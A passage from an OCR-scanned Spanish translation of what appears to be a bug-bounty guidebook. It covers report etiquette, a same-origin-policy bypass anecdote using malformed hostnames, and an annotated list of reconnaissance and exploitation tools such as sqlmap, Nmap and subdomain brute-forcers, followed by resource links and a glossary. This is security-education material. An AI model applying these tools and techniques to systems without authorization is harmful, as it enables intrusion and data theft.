como se puede reproducir y por qué es importante. Simplemente proporcionando un video no
es suficiente.

Dotacion de recursos: No todas las empresas pueden permitirse el lujo de dedicar personal a

tiempo completo a la ejecucion de un programa de recompensas. Algunos programas tienen

la suerte de tener una sola persona que responde a los informes, mientras que otros tienen
personal que dividen su tiempo. Como resultado, las empresas pueden tener horarios rotativos
donde las personas se turnan para responder a los informes. Cualquier vacio de informacién

o retrasos en el suministro de la informacion necesaria tiene un grave impacto.

« Escribir la solucion: Escribir cédigo lleva tiempo, especialmente si hay un ciclo de vida de
desarrollo completo, incluyendo la depuracién, escribir pruebas de regresion, las implemen-
taciones de puesta en escena y, finalmente, el empuje de llevarlo a la produccion. ;Qué pasa
si los desarrolladores ni siquiera conocen la causa subyacente de la vulnerabilidad? todo esto
lleva tiempo, mientras que nosotros, los hackers, nos ponemos impacientes y queremos que
nos paguen. Aqui es donde las lineas de comunicacion claras son claves y otra vez, la necesidad
de que todos sean respetuosos el uno con el otro.

+ Gestion de las relaciones: Los programas de recompensas por encontrar errores quieren que

los hackers regresen. HackerOne ha escrito acerca de como el impacto de la vulnerabilidad

crece a medida que los hackers envian mas errores a un solo programa. Como resultado, los
programas de recompensas tienen que encontrar una manera de lograr un equilibrio en el
desarrollo de estas relaciones.
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+ Relaciones con presion: Siempre hay presiéon que un error se haya perdido, toma demasiado
tiempo en ser resuelto, o una recompensa es percibida como demasiado baja, y los hackers
se llevaran eso a Twitter u otros medios de comunicacion. De nuevo, esto pesa sobre la
catalogacion de la severidad del fallo y tiene un gran impacto sobre como ellos desarrollan las
relaciones y trabajan con los hackers.

Después de leer todo esto, mi objetivo es realmente ayudar a humanizar este proceso. He tenido
experiencias en ambos extremos del espectro, buenos y malos. Sin embargo, al final del dia, los
hackers y los programas estaran trabajando juntos y tendran una comprension de los desafios a los
que se enfrenta cada uno, y eso les ayudara a mejorar los resultados por todos lados.

Recompensas

Si presentaste una vulnerabilidad a una empresa que paga recompensas, respeta su decision sobre la
cantidad a pagar.

De acuerdo con Jobert Abma (Co-Fundador de HackerOne) en Quora ;Coémo me converti en un
cazador exitoso de recompensas por encontrar fallos?”*:

Si no estas de acuerdo en una cantidad recibida, ten una discusion del por qué crees que
mereces una recompensa mayor. Evita situaciones en las que solicites otra recompensa
sin dar mas detalles por qué crees eso. A cambio, una empresa deberia mostrar respeto
[por tu] tiempo y valor.

No grite Hola antes de cruzar el charco

El 17 de marzo de 2016, Mathias Karlsson escribié una entrada de blog impresionante sobre el
hallazgo potencial de saltar la politica del mismo origen (SOP) (una politica del mismo origen es
una caracteristica de seguridad que define como los navegadores web permiten a los scripts acceder
a los contenidos de los sitios web) y fue lo suficientemente bueno para incluir aqui algunos de los
contenidos. Como acotacién al margen, Mathias tiene un gran historial en HackerOne - al 28 de
marzo, 2016, esta en el porcentaje 97° de Sefial y en el 95° de Impacto con 109 errores encontrados,
incluyendo a las empresas HackerOne, Uber, Yahoo, CloudFlare, etc.

Asi que, “No grite Hola antes de cruzar el charco” es un dicho sueco que significa que no deberiamos
celebrar hasta que se esté absolutamente seguro. Puede ser que sea facil adivinar por qué estoy
incluyendo esto - el hacking no es todo sol y arco iris.

De acuerdo con Mathias, él estaba jugando con Firefox y se dio cuenta de que el navegador acepta
nombres de host malformados (en OSX), por lo que la URL http://example.com.. cargaria exam-
ple.com pero, al enviar example.com.. en el host de cabecera. Luego traté http://example.com...evil.com
y consiguio el mismo resultado.

"*https://www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter


https://www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter
https://www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter
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Alinstante sabia que esto significaba que SOP podria ser evitado, ya que Flash trataria http://example.com..evil.com
como que estaba bajo el dominio *.evil.com. Comprobé el top 10000 de Alexa y se encontr6 que el
7% de los sitios seria explotable incluyendo Yahoo.com.

Cred una cronica del suceso, pero decidi6é hacer algo mas que lo confirmara. Comprobd con un
compaifiero de trabajo, yup, su maquina virtual también confirm¢ el fallo. Actualiz6 Firefox, yup,
el error todavia estaba alli. A continuacion, sugirié en Twitter sobre el hallazgo. Segun él, Fallo =
Verificado, ;verdad?

Nop. El error que cometi6 fue que él no actualizé su sistema operativo a la versién mas reciente.
Después de hacerlo, el error estaba muerto. Al parecer, esto fue reportado seis meses antes y al
actualizar a OSX Yosemite 10.0.5 se habia ha solucionado el problema.

Incluyo esto para mostrar que incluso los grandes hackers pueden hacerlo mal y es importante
confirmar la explotacién de un error antes de notificarlo.

Muchisimas gracias a Mathias por permitirme incluir esto - recomiendo echar un vistazo a sus
publicaciones en Twitter @avlidienbrunn y labs.detectify.com donde Mathias ha escrito acerca de
esto.

Palabras de despedida

Esperemos que este capitulo te haya ayudado y que estés mejor preparado para escribir un informe
feroz. Antes de presionar enviar, tomate un momento y realmente piensa en el informe - si llegara
a darse a conocer y leerse publicamente, estarias orgulloso?

Para todo lo que envies, debes estar preparado para apoyar y justificarlo ante la empresa, ante otros
hackers y ante ti mismo. No digo que esto te asuste, sino que como unas palabras de consejo me
gustaria tenerte preparado. Cuando empecé, definitivamente presenté informes cuestionables porque
s6lo me importaba estar en el tablero y ser util. Sin embargo, las empresas te bombardean. Es mas
util encontrar un error de seguridad que sea totalmente reproducible e informarlo con claridad.

Puede que te preguntes a quién realmente le importa - deja que las empresas hagan ese llamado
y a quién le importa lo que piensan otros hackers. Es lo suficientemente justo. Pero al menos en
HackerOne, tus informes son importantes - tus datos estadisticos son registrados y cada vez que
tengas un informe valido, este se registra en contra de tu Sefal, una estadistica que va desde -10
hasta 7, lo cual promedia el valor de tus informes:

« Enviar correo no deseado, se obtiene -10

Presentar un informe que no es aplicable, se obtiene -5
« Presentar uno que sea informativo, se obtiene 0
+ Presentar un informe que se ha resuelto, se obtiene 7

Una vez mas, a quién le importa? Pues bien, ahora la Senal se utiliza para determinar a quién se
invita a los programas privados y quién puede presentar informes a los programas publicos. Los
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programas privados suelen ser carne fresca para los hackers - estos son los sitios que acaban de
entrar en el programa de recompensas por errores y estan abriendo su sitio a un numero limitado
de hackers. Esto significa, vulnerabilidades potenciales con menos competencia.

En cuanto a la presentacion de informes a otras empresas - utiliza mi experiencia como una historia
de advertencia.

Me invitaron a un programa privado y dentro de un solo dia, encontré ocho vulnerabilidades. Sin
embargo, esa noche, envié un informe a otro programa y se le dio un N/A - No Aplicable. Esto
hundi6 mi Serial a 0.96. Al dia siguiente, fui a informar a la empresa privada nuevamente y obtuve
una notificacion - mi Sefial era demasiado baja y tendria que esperar 30 dias para informar a ellos y
a cualquier otra empresa que tenia un requisito de Senal de 1.0.

Qué mamada! Aunque nadie encontr¢ las vulnerabilidades que encontré durante ese tiempo, ellos
podian tener lo que me habria costado dinero. Cada dia revisé a ver si podia informar de nuevo.
Desde entonces, me he comprometido a mejorar mi Sefial y tu deberias hacerlo también!

Buena suerte en la caceria!
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A continuacién se muestra una larga lista de herramientas que son ttiles para la caza de vulnerabi-
lidad, sin ningtin orden en particular. Mientras que algunas automatizan el proceso de busqueda
de vulnerabilidades, éstas no deberian reemplazar el trabajo manual, la observacion aguda y el
pensamiento intuitivo.

Michiel Prins, Co-Fundador de Hackerone, merece un enorme agradecimiento por ayudar a
contribuir a la lista y proporcionar consejos sobre como utilizar eficazmente las herramientas.

Burp Suite

https://portswigger.net/burp

Burp Suite es una plataforma integrada para pruebas de seguridad y casi imprescindible cuando se
esta empezando. Tiene una gran variedad de herramientas que son ttiles, incluyendo:

+ Un proxy de interceptacion, que te permite inspeccionar y modificar el trafico a un sitio

+ Una aplicacion de arafia para el rastreo de contenido y funcionalidad (ya sea pasiva o activa)
« Un escaner web para automatizar la deteccion de vulnerabilidades

+ Un repetidor para manipular y volver a enviar solicitudes individuales

« Una secuenciador para probar la aleatoriedad de tokens

« Una herramienta de comparacién para comparar las solicitudes y respuestas

Bucky Roberts, de New Boston, tiene una serie de tutoriales sobre Burp Suite disponible en
https://vimeo.com/album/3510171 los cuales proporcionan una introduccion a Burp Suite.

ZAP Proxy

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

OWASP Zed Attack Proxy (ZAP) es una plataforma libre de codigo abierto, basado en la comunidad,
es muy similar a Burp para las pruebas de seguridad. También cuenta con una variedad de
herramientas, incluyendo un Proxy, un Repetidor, un Escaner, un forzador de directorios/archivos,
etc. También es compatible con complementos, asi que si eres desarrollador, puedes crear una
funcionalidad adicional. Su sitio web tiene una gran cantidad de informacion util para ayudarte
a empezar.
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Knockpy

https://github.com/guelfoweb/knock

Knockpy es una herramienta de Python disefiada para iterar sobre una enorme lista de palabras para
identificar los subdominios de una empresa. La identificaciéon de los subdominios ayuda a aumentar
la superficie de pruebas en una empresa y asi aumentar las posibilidades de encontrar con éxito una
vulnerabilidad.

Este es un repositorio GitHub lo que significa que tendras que descargar el repositorio (la pagina de
GitHub tiene instrucciones en cuanto a como hacerlo) y la necesidad que Python esté instalado (se
han probado con la versién 2.7.6 y recomienda utiliza los DNS de Google (8.8.8.8 | 8.8.4.4).

HostileSubBruteforcer

https://github.com/nahamsec/HostileSubBruteforcer

Esta aplicacion, escrita por @nahamsec (Ben Sadeghipour - un gran tipo!), buscara por medio de
fuerza bruta subdominios existentes y proporcionara la direccion IP, host y si ha sido configurado
correctamente, comprobando AWS, Github, Heroku, Shopify, Tumblr y Squarespace. Esto es ideal
para encontrar vulnerabilidades del tipo toma de control de subdominios.

Sublist3r

https://github.com/aboul3la/Sublist3r

Segtn su archivo README.md, Sublist3r es una herramienta de Python que esta disefiada para
enumerar los subdominios de sitios web utilizando motores de busqueda. Ayuda a los pentesters y los
cazadores de errores a recoger y reunir subdominios del dominio principal al que estan apuntando.
Actualmente Sublist3r es compatible con los siguientes motores de bisqueda: Google, Yahoo, Bing,
Baidu, y Ask. Mas motores de busqueda podrian ser afiadidos en el futuro. Sublist3r también recopila
subdominios utilizando Netcraft, VirusTotal, ThreatCrowd, DNSdumpster y PassiveDNS.

La herramienta, subbrute, se integré con Sublist3r para aumentar la posibilidad de encontrar mas
subdominios utilizando fuerza bruta con una lista de palabras mejorada. El mérito es de TheRook
quien es el autor de subbrute.

crt.sh

https://crt.sh

Un sitio de busqueda para navegar por los registros de transacciones de certificados, revelando
subdominios asociados a los certificados.
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SeclLists

https://github.com/danielmiessler/SecLists

Aunque técnicamente no es una herramienta en si misma, SecLists es una coleccién de varios tipos
de listas utilizadas durante el hacking. Esta incluye nombres de usuario, contrasenas, direcciones
URL, cadenas de buisqueda escurridiza, directorios/archivos comunes/subdominios, etc. El proyecto
es mantenido por Daniel Miessler y Jason Haddix (el invitado a Consejos de Hacking Profesional #5)

sqlmap

http://sqlmap.org

sqlmap es una herramienta de codigo abierto utilizada para pruebas de penetracion, esta automatiza
el proceso de detectar y explotar vulnerabilidades de inyeccién SQL. El sitio web tiene una enorme
lista de caracteristicas, incluyendo soporte para:

+ Una amplia gama de tipos de bases de datos (por ejemplo, MySQL, Oracle, PostgreSQL, MS
SQL Server, etc.)

« Seis técnicas de inyeccion SQL (por ejemplo, a ciegas basada en tiempo, a ciegas basada en
valor booleano, basada en la consulta UNION, basada en error, etc.)

« Enumeracién de usuarios, los hashes de contrasefias, privilegios, roles, bases de datos, tablas
y columnas

« Y mucho mas...

De acuerdo con Michiel Prins, sqlmap es 1til para automatizar la explotacion de vulnerabilidades de
inyeccion SQL o para demostrar que algo es vulnerable, ahorrando asi una gran cantidad de trabajo
manual.

Al igual que en Knockpy, sqlmap esta basado en Python y puede ejecutarse en sistemas basados en
Windows o Unix.

Nmap

https://nmap.org

Nmap es una herramienta de codigo libre y abierto para descubrir redes y realizar auditorias de
seguridad. De acuerdo con su sitio, Nmap utiliza paquetes IP en formas inusuales para determinar:
- Qué maquinas estan disponibles en una red - ;Qué servicios (nombre de la aplicacién y la version)
estan ofreciendo los hosts - ;Qué sistemas operativos (y versiones) se estan ejecutando - ;Qué tipo
de filtros de paquetes/servidores de seguridad/muros cortafuegos estan en uso - Y mucho mas...

El sitio de Nmap tiene una sélida lista de instrucciones de instalaciéon compatible con Windows, Mac
y Linux.
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EyeWitness

https://github.com/ChrisTruncer/EyeWitness

EyeWitness esta disefiado para tomar capturas de pantalla de sitios web, proporcionar alguna
informacion de la cabecera del servidor e identificar credenciales predeterminadas si es posible.
Es una gran herramienta para la deteccion de qué servicios se estan ejecutando en puertos comunes
HTTP y HTTPS y se puede utilizar con otras herramientas como Nmap para enumerar rapidamente
los objetivos en el hacking.

Shodan

https://www.shodan.io

Shodan es el motor de busqueda del “Internet de cosas”. De acuerdo con el sitio web, “Puede utilizar
Shodan para descubrir cual de sus dispositivos estan conectados a la Internet, donde se encuentran
y quién las utiliza”. Esto es particularmente util cuando se esta explorando un objetivo potencial y
esta tratando de aprender tanto como sea posible sobre la infraestructura de los objetivos.

Combinado a esto hay un practico plugin de Firefox para Shodan que le permite acceder rapidamente
a la informacién de un dominio determinado. A veces éste revela puertos disponibles que se los
puedes pasar a Nmap.

WhatCMS

http://www.whatcms.org

WhatCMS es una sencilla aplicacion que te permite introducir una URL del sitio y va a devolver
el sistema de gestion de contenidos probable que el sitio esta utilizando. Esto es util por un par de
motivos:

« Saber qué CMS utiliza un sitio te da una idea de como esta estructurado el codigo

« Siel CMS es de codigo abierto, puedes examinar el codigo fuente en busca de vulnerabilidades
y probarlos en el sitio

« Sipuedes determinar el codigo de version del CMS, es posible que el sitio pueda estar obsoleto
y vulnerable a las vulnerabilidades de seguridad ya divulgadas

BuiltWith

http://builtwith.com

BuiltWith es una herramienta interesante que te ayudara a seguir la huella de diferentes tecnologias
utilizadas de un objetivo en particular. De acuerdo a su sitio, cubre mas de 18,000 tipos de tecnologias
de Internet, incluyendo analitica, alojamiento, cual CMS, etc.
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Nikto

https://cirt.net/nikto2

Nikto es un escaner de cédigo abierto para servidores web, que pone a prueba contra los servidores
en varios elementos, incluyendo:

« Archivos/programas potencialmente peligrosos

« Versiones no actualizadas de servidores

« Versiones con problemas especificos

+ Comprobacion de los elementos de configuracion del servidor

De acuerdo con Michiel, Nikto es util para encontrar archivos o directorios que no deberian estar
disponibles (por ejemplo, un archivo antiguo de copia de seguridad de SQL, o el interior de un
repositorio git)

Recon-ng

bitbucket.org/LaNMaSteR53/recon-ng

De acuerdo a su pagina, Recon-ng es un Framework de Reconocimiento web con todas sus funciones,
escrito en Python. Proporciona un entorno de gran alcance en el que el reconocimiento de cédigo
abierto, basado en la web, se puede realizar de forma rapida y completamente.

Desafortunadamente, o afortunadamente, dependiendo de cémo se desea mirarlo, Recon-ng ofrece
tanta funcionalidad que no puedo describirlo adecuadamente aqui. Puede ser utilizado para el
descubrimiento de subdominios, descubrimiento de archivos sensibles, enumeracién de usuarios,
revision exhaustiva de los sitios de medios sociales, etc.

idb

http://www.idbtool.com

idb es una herramienta para ayudar a simplificar algunas tareas comunes para las evaluaciones de
seguridad de aplicaciones iOS y para la investigacion. Esta alojado en GitHub.

Wireshark

https://www.wireshark.com

Wireshark es un analizador de protocolos de red que te permite ver lo que esta sucediendo en tu
red con un detalle minucioso. Esto es mas util cuando un sitio no sélo se comunica a través de
HTTP/HTTPS. Si estas comenzando, puede ser mas beneficioso que te familiarices con Burp Suite
si el sitio simplemente se estd comunicando a través de HTTP/HTTPS.
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Bucket Finder

https://digi.ninja/files/bucket_finder_1.1.tar.bz2

Una herramienta genial que va a buscar cubetas legibles y te dara una lista de todos los archivos
conteidos en ellas. También se puede usar para encontrar rapidamente cubetas existentes, pero no
te va a permitir el acceso a los archivos listados en estas cubetas, puedes probar la escritura en la
cubeta utilizando la linea de comandos (CLI) de AWS, la que se describe en el Ejemplo 6 del capitulo
Autenticacion - Como he hackeado las cubetas S3 de HackerOne.

Google Dorks

https://www.exploit-db.com/google-hacking-database

Google Dorking se refiere al uso de las sintaxis avanzadas otorgadas por Google para buscar infor-
macion que no esta facilmente disponible. Esto puede incluir la buisqueda de archivos vulnerables,
oportunidades para cargar recursos externos, etc.

IPV4info.com

http://ipv4info.com

Este es un gran sitio que acabo de aprender a utilizar gracias a Philippe Harewood (de nuevo!).
Al usar este sitio, se pueden encontrar los dominios alojados en un servidor determinado. Asi, por
ejemplo, al introducir yahoo.com te dara el rango de IPs de Yahoo y todos los dominios servidos
desde los mismos servidores.

JD GUI

https://github.com/java-decompiler/jd-gui

JD-GUI es una herramienta que puede ayudar a la hora de explorar aplicaciones de Android. Es una
utilidad grafica independiente que muestra las fuentes de Java desde los archivos CLASS. Si bien no
tengo mucha experiencia con esta herramienta (atin), parece prometedora y util.

Framework de Seguridad Moévil (Mobile Security
Framework)

https://github.com/ajinabraham/Mobile-Security-Framework-MobSF

Esta es otra herramienta ttil en el hacking de moéviles. Es una aplicacion inteligente todo-en-uno,
de codigo abierto (para Android/iOS), un framework de pen-testing automatizado capaz de realizar
un analisis estatico y dinamico, ademas de realizar pruebas a APIs web.
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Plugins de Firefox

Esta lista es en gran parte gracias a la publicacion de InfosecInstitute disponible aqui: Infoseclnsti-
tute”

FoxyProxy

FoxyProxy es un plugin de administracion avanzada de proxis para el navegador Firefox. Mejora las
capacidades de proxy integradas de Firefox.

User Agent Switcher

Anade un botén de la barra de menus y herramientas en el navegador. Cada vez que desees cambiar
el agente de usuario, utiliza el boton de navegacion. El plugin de User Agent ayuda en la falsificacion
del navegador mientras se realizan algunos ataques.

Firebug

Firebug es un buen complemento que integra una herramienta de desarrollo web en el navegador.
Con esta herramienta, se puede editar y depurar en vivo HTML, CSS y JavaScript en cualquier pagina
web para ver el efecto de los cambios. Esto ayuda en el analisis de los archivos ]S para encontrar
vulnerabilidades XSS.

HackBar

HackBar es una herramienta sencilla para las pruebas de penetracién con Firefox. Esto ayuda en
la prueba de inyecciéon SQL simple y agujeros XSS. No se puede ejecutar exploits estandar pero se
puede utilizar facilmente para comprobar si existe o no la vulnerabilidad. También se puede enviar
manualmente los datos del formulario con las solicitudes GET o POST.

Websecurify

Websecurify puede detectar las vulnerabilidades mas comunes en las aplicaciones web. Esta
herramienta puede detectar facilmente XSS, inyeccién SQL y otras vulnerabilidades de aplicaciones
web.

Cookie Manager+

Le permite ver, editar y crear nuevas cookies. También muestra informacion adicional acerca de las
cookies, puedes editar varias cookies a la vez, puedes respaldar y restaurar cookies, etc.

75 . . . ~ ~ . . .
resources.infosecinstitute.com/use- firefox-browser- as-a-penetration-testing-tool- with-these-add-ons
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XSS Me

XSS-Me se utiliza para encontrar vulnerabilidades XSS reflejado desde un navegador. Analiza todos
los formularios de la pagina y, a continuacion, realiza un ataque a las paginas seleccionadas con
payloads XSS predefinidos. Después de terminar el analisis, se enumeran todas las paginas que
presentaron una respuesta al payload en la pagina, y que puede ser vulnerable a XSS. Con esos
resultados, deberias confirmar manualmente las vulnerabilidades encontradas.

Offsec Exploit-db Search

Este recurso te permite buscar vulnerabilidades y exploits que figuran en los listados de exploit-
db.com. Este sitio web esta siempre actualizado con los ultimos exploits y detalles de vulnerabilidad.

Wappalyzer

https://addons.mozilla.org/en-us/firefox/addon/wappalyzer/

Esta herramienta te ayudara a identificar las tecnologias utilizadas en un sitio, incluyendo cosas
como CloudFlare, Frameworks, bibliotecas Javascript, etc.
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Entrenamiento en linea

Exploits de aplicaciones Web y Defensas

Un laboratorio de programacion con una aplicacion web vulnerable real y tutoriales
para que puedas trabajar a través del descubrimiento de vulnerabilidades comunes
como XSS, escalada de privilegios, CSRF, Path Transversal y mas. Lo encontraras en
https://google-gruyere.appspot.com

Base de datos de Exploits

Aunque no es exactamente formacion en linea, este sitio incluye exploits para vulnera-
bilidades descubiertas, a menudo con su vinculacién a los CVE siempre que sea posible.
Mientras que se utiliza el codigo real suministrado debe hacerse con mucho cuidado,
ya que puede ser destructivo, esto es util para encontrar vulnerabilidades si un objetivo
esta utilizando software fuera del sitio y leer el c6digo serd muy util para entender qué
tipo de entrada puede ser proporcionada para explotar un sitio.

Udacity

Cursos de aprendizaje en linea gratuitos en una gran variedad de temas, incluyendo el
desarrollo y programacion web. Yo recomiendo echar un vistazo:

Introduccion a HTML y CSS”® Fundamentos de Javascript”’

Plataformas de recompensas de errores

Hackerone.com

Creado por los lideres de seguridad de Facebook, Microsoft y Google, HackerOne es la
primera plataforma de coordinacion de vulnerabilidad y recompensas por errores.

"Shttps://www.udacity.com/course/intro-to-html-and- css--ud304
""https://www.udacity.com/course/javascript-basics--ud804


https://www.udacity.com/course/intro-to-html-and-css--ud304
https://www.udacity.com/course/javascript-basics--ud804
https://www.udacity.com/course/intro-to-html-and-css--ud304
https://www.udacity.com/course/javascript-basics--ud804
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Bugcrowd.com

Desde el interior hacia el valle, Bugcrowd fue fundada en 2012 para equilibrar la balanza
en contra de los chicos malos.

Synack.com

Una plataforma privada con experiencia en seguridad a los clientes. La participacion
requiere aprobacion previa.

Cobalt.io

Una plataforma de recompensas por errores que también tiene un grupo de investiga-
dores que trabajan en programas privados.

Tutoriales en video

youtube.com/yaworsk1

Seria negligente si no he incluido mi canal de YouTube ... He empezado a grabar
tutoriales en la busqueda de vulnerabilidades para ayudar a complementar este libro.

Seccasts.com

Desde su pagina web, SecCasts es una plataforma de formacién en seguridad por medio
de videos que ofrece tutoriales que van desde técnicas basicas de hacking web hasta
temas de seguridad en profundidad sobre un lenguaje o un Framework especifico.

Cémo disparar a la Web

Aunque técnicamente no es un tutorial de video, la presentacion de Jason Haddix (el
invitado de Consejos de hacking Profesional #5) en la DefCon 23 proporciona una visiéon
impresionante para convertirse en un mejor hacker. Se basa en el material de su propio
hacking (el fue #1 en Bugcrowd antes de unirse a ellos) y la lectura investigativa de
publicaciones de blogs y publicaciones de otros hackers de gran nivel.
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Otras lecturas

OWASP.com

El Proyecto Open Web Application Security Project es una enorme fuente de infor-
macion sobre vulnerabilidades. Tienen una seccién conveniente Security101, hojas de
cddigos, guia de pruebas y descripciones en profundidad en la mayoria de los tipos de
vulnerabilidad.

Hackerone.com/hacktivity

Una lista de todas las vulnerabilidades reportadas desde su programa de recompensas.
Aunque sélo algunos informes son publicos, se puede utilizar mi script en GitHub para
tirar de todas las revelaciones publicas (https://github.com/yaworsk/hackerone_scrap-

per).

Twitter #infosec

A pesar de haber una gran cantidad de ruido, también hay una gran cantidad de tweets
interesantes relacionados a seguridad/vulnerabilidad bajo el hashtag #infosec, a menudo
con enlaces a bitacoras detalladas.

Twitter @disclosedh1

El observador no oficial de HackerOne de divulgaciones publicas, el cual tuitea errores
dados a conocer recientemente.

El Cuaderno de los Hackers de Aplicaciones Web

El titulo debe decirlo todo. Escrito por los creadores de Burp Suite, esto es realmente
una lectura obligada.

Metodologia de los cazadores de errores

Este es un repositorio GitHub de Jason Haddix (el invitado de Consejos de Hacking
Profesional #5) y proporciona un vistazo impresionante de como los hackers exitosos
se acercan a un objetivo. Esta escrito en MarkDown y es un subproducto de la
presentacion en la DefCon 23 Cémo disparar a la Web, de Jason. Puede encontrarlo
en https://github.com/jhaddix/tbhm.
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Blogs recomendados

philippeharewood.com

Blog por un sorprendente hacker de Facebook que comparte una cantidad increible de
hallazgos de defectos légicos en Facebook. He sido lo suficientemente afortunado de
entrevistar a Philippe en abril de 2016 y no puedo expresar con palabras lo inteligente
que es y lo impresionante que es su blog - He leido todas las publicaciones.

La pagina de Facebook de Philippe -
www.facebook.com/phwd-113702895386410

Otro recurso impresionante de Philippe. Esto incluye una lista de recompensas de
errores de Facebook.

fin1te.net

Un blog por el segundo clasificado en el Programa Whitehat de Facebook durante los
ultimos dos afos (2015, 2014). Parece que Jack no escribe mucho, pero cuando lo hace,
las descripciones son en profundidad y es muy informativo!

NahamSec.com

Blog por el hacker #26 (desde febrero de 2016) de HackerOne. Aqui hay descritas una
gran cantidad de vulnerabilidades impresionantes - Ten en cuenta que la mayoria de las
publicaciones se han archivado, pero todavia estan disponible en el sitio.

blog.it-securityguard.com

Blog personal de Patrik Fehrehbach. Patrik ha encontrado una serie de vulnerabilidades
impresionantes y de alto impacto descritas tanto en este libro como en su blog. También
fue el segundo entrevistado en los Consejos de Hacking Profesional.

blog.innerht.mi

Otro blog increible por un hacker del top en HackerOne. FileDescriptor ha encontrado
algunos errores en Twitter con recompensas increiblemente altas y mientras que sus
publicacioens son técnicas, también son detalladas y muy bien escritas!
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blog.orange.tw

Blog por un hacker Top de DefCon con toneladas de enlaces a recursos valiosos.

Blog de Portswigger

Blog de los desarrolladores del Burp Suite. MUY RECOMENDABLE

Blog de Nvisium

Un gran blog de una empresa de seguridad. Encontraron la vulnerabilidad RCE de Rails,
han discutido y bloggeado sobre la busqueda de vulnerabilidades con Flask/Jinja2 casi
dos semanas antes de que fuera encontrado el RCE en Uber.

blog.zsec.uk

Blog del hacker #1 de PornHub en 7 de junio de 2016.

brutelogic.com.br

Blog del hacker brasilero @brutelogic. Este blog tiene algunos consejos increiblemente
detallados y muchos trucos para los ataques XSS. @brutelogic es un hacker muy talento-
soy con un portafolio impresionante de divulgaciones XSS en https://www.openbugbounty.org/researchers/B:

Blog de BugCrowd

BugCrowd publica contenido fabuloso el cual incluye entrevistas con hackers impresio-
nantes y otro material informativo. Jason Haddix también ha iniciado recientemente un
podcast de hacking que puede encontrado a través del blog.

Blog de HackerOne

HackerOne también publica contenido muy util para los hackers como lo son blogs
recomendados, una nueva funcionalidad en la plataforma (un buen lugar para buscar
nuevas vulnerabilidades!), y consejos sobre como convertirse un mejor hacker.
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Hojas de trucos

« Hoja de codigos de Path Transversal de Linux - https://www.gracefulsecurity.com/path-
traversal-cheat-sheet-linux/

+ XXE - https://www.gracefulsecurity.com/xxe-cheatsheet/

+ Hoja de trucos HTMLS5 - https://html5sec.org/

« Hoja de trucos XSS de Brute - http://brutelogic.com.br/blog/cheat-sheet/

« XSS de Polyglot- http://polyglot.innerht.ml/

+ Hoja de trucos de inyeccion de MySQL - http://pentestmonkey.net/cheat-sheet/sql-injectio-
n/mysql-sql-injection-cheat-sheet
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Hacker de sombrero Negro

Un hacker de sombrero negro es un hacker que “viola la seguridad informatica para
pocas razones mas alla de la malicia o para beneficio personal” (Robert Moore, 2005
Ciberdelincuencia). A los sombreros negros también se les conoce como “crackers”
dentro de la industria de la seguridad y los programadores modernos. Estos hackers
suelen realizar acciones maliciosas para destruir, alterar o robar datos. Esto es lo
contrario de un hacker de sombrero blanco.

Desbordamiento de bufer

Un desbordamiento de bufer es una situacion en la que un programa escribe datos en
un bufer, o drea de memoria, y que ain hay mas datos por escribir que el espacio que
en realidad esta disponible para esa memoria. Como resultado, el programa termina la
escritura sobre la memoria donde no deberia ser.

Programa de recompensas de errores

Un trato ofrecido por los sitios web mediante el cual los hackers de sombrero blanco
puede recibir el reconocimiento o compensacion por informar sobre errores, en par-
ticular los relacionados con las vulnerabilidades de seguridad. Los ejemplos incluyen
HackerOne.com y Bugcrowd.com

Informe de error

Descripcion de un investigador sobre una potencial vulnerabilidad de seguridad ya sea
en un producto o un servicio en particular.

Inyeccién de CRLF

CRLF, o retorno de carro y avance de linea, es un tipo de vulnerabilidad de inyeccion que
se produce cuando un usuario se las arregla para insertar un CRLF en una aplicacion.
Esto a veces se llama también division de respuesta HTTP.
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Falsificacion de solicitud de sitio cruzado

Una falsificacién de solicitud de sitio cruzado o CSREF, es el ataque que se produce
cuando un sitio web malicioso, correo electronico, mensajeria instantanea, aplicaciones,
etc., hace que el navegador web de un usuario realice alguna accioén en otro sitio web
donde ese usuario ya esta autenticado, o se ha conectado.

Scripting de sitio cruzado

Scripting de sitio cruzado o XSS, implica un sitio web, que puede incluir un cédigo
Javascript inadecuado que posteriormente es pasado a los usuarios y que dicho codigo
se ejecuta a través de sus navegadores.

Inyeccion de HTML

Inyeccion de Hypertext Markup Language (HTML), también se refiere a veces como una
desfiguracion virtual, realmente es el ataque a un sitio hecho posible por permitir que
un usuario malicioso inyecte cédigo HTML debido a que no se control6 adecuadamente
las entradas proporcionadas por el usuario.

Contaminacion de parametros HTTP

Contaminacién de parametros HTTP, o HPP, se produce cuando un sitio web acepta la
entrada de un usuario y lo utiliza para realizar una solicitud HTTP a otro sistema sin
validar la entrada que proporcioné el usuario.

Divisidon de respuesta HTTP

Otro nombre para la inyecciéon CRLF donde un usuario malicioso es capaz de inyectar
las cabeceras en una respuesta del servidor.

Corrupcion de la memoria

Corrupcion de la memoria es una técnica utilizada para exponer una vulnerabilidad
haciendo que el codigo lleve a cabo algun tipo de comportamiento inusual o inesperado.
El efecto es similar a un desbordamiento de bifer donde la memoria es expuesta cuando
no lo deberia ser.

Redireccion abierta

Una redireccion abierta se produce cuando una aplicaciéon recibe un parametro y
redirige al usuario a dicho valor, sin llevar a cabo ninguna validacion del valor.
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Pruebas de penetracion

Un ataque de software a un sistema informatico que busca debilidades de seguridad,
lo que podria permitir ganar acceso a las funciones y los datos de la computadora.
Estos pueden incluir pruebas legitimas o avaladas por la empresa, o también pruebas
ilegitimas para propdsitos nefastos.

Investigadores

También conocidos como White Hat Hackers o hackers de sombrero blanco. Se trata
de cualquier persona que ha investigado un posible problema de seguridad en algin
tipo de tecnologia, incluyendo los investigadores académicos de seguridad, ingenieros
de software, administradores de sistemas, e incluso los tecnélogos casuales.

Equipo de Respuesta

Un equipo de personas que se encargan de hacer frente a los problemas de seguridad
descubiertos en un producto o servicio. Dependiendo de las circunstancias, esto podria
ser un equipo formal de respuesta por parte de una organizaciéon, un grupo de
voluntarios en un proyecto de cédigo abierto, o un panel independiente de voluntarios.

Divulgacién de forma responsable

Describir una vulnerabilidad al mismo tiempo que se permite una respuesta del equipo
en un periodo de tiempo adecuado para hacer frente a la vulnerabilidad antes de hacer
publica.

Vulnerabilidad

Un error de software que permitiria a un atacante realizar una accion en violacion de
una politica de seguridad expresa. El error que permite acceso o escalar el privilegio es
una vulnerabilidad. Defectos de disefo y fallas que se adhieran a las mejores practicas
